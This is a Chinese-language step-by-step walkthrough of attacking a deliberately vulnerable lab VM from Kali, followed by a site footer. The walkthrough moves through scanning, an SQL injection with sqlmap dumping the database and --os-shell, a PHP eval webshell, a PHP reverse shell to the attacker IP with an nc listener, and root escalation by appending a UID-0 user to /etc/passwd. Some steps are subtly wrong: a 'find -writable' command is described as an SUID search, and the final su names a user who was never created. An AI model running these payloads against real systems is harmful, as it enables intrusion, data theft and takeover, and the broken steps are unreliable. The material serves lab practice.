环境前提

Kali 与 靶机 同网段、虚拟机网卡:桥接模式

完整渗透逻辑:

查本机网段 → 全网段扫描存活主机 → 确定靶机 IP → 端口扫描 → 服务版本探测 → 网站目录扫描 → 找物理路径 → 手工测注入 → Sqlmap 脱库 → 上传一句话木马 → 蚁剑连 Shell → 反弹交互式 Shell → 提权 → 拿 Flag


第一步:查看 Kali 本机 IP,确定扫描网段

ip a

注释

  • ip a:查看本机所有网卡 IP 地址、子网掩码

知识点扩展

  1. 一般看到 192.168.146.X 这种,网段就是:192.168.146.0/24
  2. /24 代表子网掩码 255.255.255.0,范围:192.168.146.1 ~ 192.168.146.254
  3. 桥接模式下 Kali 和靶机必须同网段,才能互相扫描、通信

第二步:局域网全网段扫描,找出在线靶机 IP

arp-scan 内网精准扫描

arp-scan -l

注释

  • arp-scan:内网 ARP 专用扫描工具
  • -l:扫描本地整个局域网

特点

直接列出 IP+MAC 地址,内网扫描最准,禁 ping 也能扫到


第三步:对扫描出来的靶机 IP 全端口 + 服务版本扫描

nmap -sV -p- 192.168.146.134

逐参数注释

  • -p-:扫描 1~65535 全部端口,不遗漏开放端口
  • -sV:探测端口对应的服务名称、版本号

扫描结果重点看

  • 80/tcp open http Apache 说明:开了 80 网站服务,可 Web 渗透

知识点扩展

  1. 端口范围:1~65535,分为常用端口、高危端口
  2. 80=http、443=https、22=ssh、3306=mysql 是渗透最常见端口
  3. -sV 版本探测可用于后续查版本漏洞、找 EXP

第四步:网站目录敏感文件扫描(找后台、隐藏路径、配置文件)

dirsearch -u http://192.168.146.134

逐参数注释

  • dirsearch:Python 开发的网站目录爆破工具
  • -u:指定目标网站 URL

扫描出关键资源

  • /robots.txt:网站爬虫协议,里面会泄露禁止访问的敏感目录
  • /m3diNf0/info.php:php 探针,泄露网站物理绝对路径
  • /se3reTdir777/:隐藏漏洞目录
  • /se3reTdir777/index.php:注入点页面

知识点扩展

目录爆破原理:自带字典,批量请求 http://ip/字典路径,根据状态码 200/403/404 判断目录是否存在

  • 200:存在可访问
  • 403:存在但禁止访问
  • 404:不存在

第五步:访问探针页面,获取网站物理绝对路径

http://192.168.146.134/m3diNf0/info.php

往下找 Document Root得到类似路径:

/home/www/html/web1x443290o2sdf92213

作用

后面 Sqlmap 上传木马必须用服务器真实物理路径,否则上传失败


第六步:手工测试 SQL 注入漏洞

http://192.168.146.134/se3reTdir777/index.php

输入框提交:

1'

判断标准

页面出现 MySQL 语法错误、报错信息 → 存在 POST 型 SQL 注入

知识点扩展

  • ' 单引号闭合 SQL 语句原有引号,造成语法报错
  • 能报错 = 直接把数据库结构暴露,可被 Sqlmap 全自动利用
  • POST 注入:表单提交,URL 看不到参数,需要用 --data 传参

第七步:Sqlmap 全自动 SQL 注入探测

7.1 爆出所有数据库名

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --dbs

逐参数注释

  • sqlmap:全自动 SQL 注入漏洞检测、利用工具
  • -u:指定注入 URL
  • --data:提交 POST 表单参数,模拟浏览器提交数据
  • --dbs:列出当前服务器所有数据库名称

7.2 爆出指定库下所有表名

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 --tables

注释

  • -D 库名:指定要操作的数据库
  • --tables:列出该库下所有数据表

7.3 爆出表中所有字段

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --columns

注释

  • -T 表名:指定数据表
  • --columns:列出表中所有字段(账号、密码、id 等)

7.4 爆数据(脱库)

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --dump

注释

  • --dump:导出表中所有真实数据(账号密码明文 / 密文)

知识点扩展

Sqlmap 核心功能:漏洞检测、猜库、猜表、猜字段、脱库、读写文件、执行系统命令、反弹 Shell

7.5 sqlmap --os-shell 获取靶机命令行

一、命令与注释

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" \
--data "uid=1&operation=Submit" \
--os-shell

逐参数解释

  • --os-shell核心参数,让 sqlmap 自动利用 SQL 注入,上传后门脚本,给你一个可直接执行系统命令的交互式 Shell
  1. 选语言4(PHP)
  2. 是否尝试自动路径探测Y
  3. 上传目录选项2(custom location,自定义路径)
  4. 输入物理路径/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads

执行成功后,你会直接得到一个 sqlmap> 提示符,输入 lswhoami 就能直接执行命令,不用再绕 “上传一句话 + 蚁剑 + 反弹 Shell” 的弯路。


第八步:本地创建 PHP 一句话木马

新建文件 shell.php 写入:

<?php @eval($_POST['cmd']);?>

代码解释

  • eval():把传入的字符串当做 PHP 代码执行
  • $_POST['cmd']:接收蚁剑 POST 传递的命令
  • 一句话原理:蚁剑发加密代码 → 木马接收执行 → 控制服务器

第九步:Sqlmap 上传一句话木马到靶机可写目录

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" \
--data "uid=1&Operation=Submit" \
--file-write ./shell.php \
--file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php

逐参数注释

  • --file-write ./shell.php:读取本地的 shell.php 文件
  • --file-dest 绝对路径:上传写入到靶机服务器指定物理路径
  • /uploads/:网站上传目录,默认有写入权限、可被 web 访问

知识点扩展

必须满足两个条件才能上传成功:

  1. 知道网站真实物理路径
  2. 目标目录有写入权限

在os-shell界面查看一句话木马是否上传成功

猜测可能存在文件上传漏洞,依次访问sqlmap上传的文件, 在最后一个文件发现sqlmap 自带的文件上传页面。


第十步:蚁剑连接 WebShell

  • 连接 URL:
http://192.168.146.134/se3reTdir777/uploads/shell.php
  • 密码:cmd

成功权限

拿到 www-data 网站低权限,可浏览文件、执行普通命令


第十一步:创建 PHP 反弹 Shell 脚本

新建 nc.php

<?php
$sock=fsockopen("192.168.146.128",1022);
exec("/bin/bash -i <&3 >&3 2>&3");
?>

代码注释

  • fsockopen:主动连接 Kali 的 IP 和端口
  • exec:调用系统 bash
  • <&3 >&3 2>&3:标准输入输出重定向,实现交互式 Shell

重点

IP 写自己 Kali 的 IP,端口自定义统一就行


第十二步:Kali 监听端口(等待靶机主动连过来)

nc -lvvp 1022

逐参数注释

  • nc:netcat 网络瑞士军刀,监听、端口转发、反弹 Shell 必备
  • -l:开启监听模式
  • -v:显示详细过程
  • -v:再一层详细输出
  • -p 1022:指定监听端口 1022

知识点扩展

反弹 Shell 逻辑:Kali 先开门监听 → 靶机主动敲门连接 → kali 拿到靶机命令行


第十三步:将nc.php上传到靶机,在蚁剑终端执行反弹脚本

php nc.php

执行后卡住,切回 Kali nc 窗口,直接拿到交互式 Shell


第十四步:Shell 终端升级(解决 su 无法使用、命令不全)

python -c 'import pty;pty.spawn("/bin/bash")'

注释

  • 调用 python 伪终端
  • 把简陋 nc shell 升级成完整交互式 bash 终端
  • 升级后支持 su、tab 补全、清屏、上下翻命令

知识点扩展

普通 nc shell 缺陷:不能 su、不能 tab、信号异常、容易断开,必须 pty 虚拟终端升级


第 15 步:提权探测(从 www-dataroot

目标

从低权限的 www-data 用户,探测并利用权限漏洞,拿到 root 权限,读取 /root/flag.txt


15.1 检查关键文件权限:/etc/passwd

ls -l /etc/passwd

操作与解析

  1. 执行命令后,会显示文件权限字符串,例如:
    • -rw-r--r--:只有 root 用户可写,普通用户只能读。
    • 若出现 -rw-rw-rw-:任何人都能写,这是严重漏洞,可直接提权。
  2. 这一步是为了确认我们能否通过修改用户信息来创建新的 root 用户。

15.2 查看当前用户身份与权限

whoami
id

操作与解析

  1. whoami:快速确认当前用户是 www-data,不是 root
  2. id:查看用户的 UID、GID 和所属组,判断是否在 sudo 组等特殊权限组中。

15.3 查找可提权的 SUID 文件

find / -writable -type f 2>/dev/null

操作与解析

  1. 执行命令后,会列出系统中所有带有 SUID 权限的文件。
  2. 重点关注文件所有者为 root 的文件,如 /bin/bash/usr/bin/python 等。这类文件会以 root 身份运行,可被用来执行任意命令。

15.4 检查 sudo 权限

sudo -l

操作与解析

  1. 查看当前用户是否可以无密码执行 sudo 命令。
  2. 若显示 (ALL : ALL) ALL,可直接执行 sudo su 切换到 root
  3. 若显示可执行 /bin/bash,直接执行 sudo /bin/bash 即可拿到 root Shell。

15.5 本靶场专属提权:写入 /etc/passwd 并升级为真正的交互式终端

15.5.1 使用perl对密码进行加密

perl -le 'print crypt("liujunhan","aa")'
  • liujunhan你登录时输的密码
  • aa → 加密盐值(固定 2 位)
  • aapldSe0VNesU写入 /etc/passwd 的加密密码

15.5.2 写入新的 root 用户到 /etc/passwd

echo 'liujunhan:aapldSe0VNesU:0:0:root:/root:/bin/bash' >> /etc/passwd
  • liujunhan:自定义用户名。
  • aapldSe0VNesU:加密后的密码

15.5.3 升级终端,切换到新创建的 root 用户

python -c "import pty; pty.spawn('/bin/bash')"

su jjh

1.作用:通过 Python 的 pty 模块,把当前的非交互式 Shell 升级成完整的 Bash 终端,让 su 命令可以正常运行。
执行后,你会看到 Shell 提示符变成 www-data@aiweb1:~$,说明升级成功。

2.输入你设置的密码liujunhan,即可切换到 root 权限。


第 16 步:拿取 Flag

cd /root
ls
cat flag.txt
  • cd /root:进入 root 用户的家目录。
  • ls:列出目录内容,找到 flag.txt
  • cat flag.txt:读取最终的 flag,渗透流程结束。
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐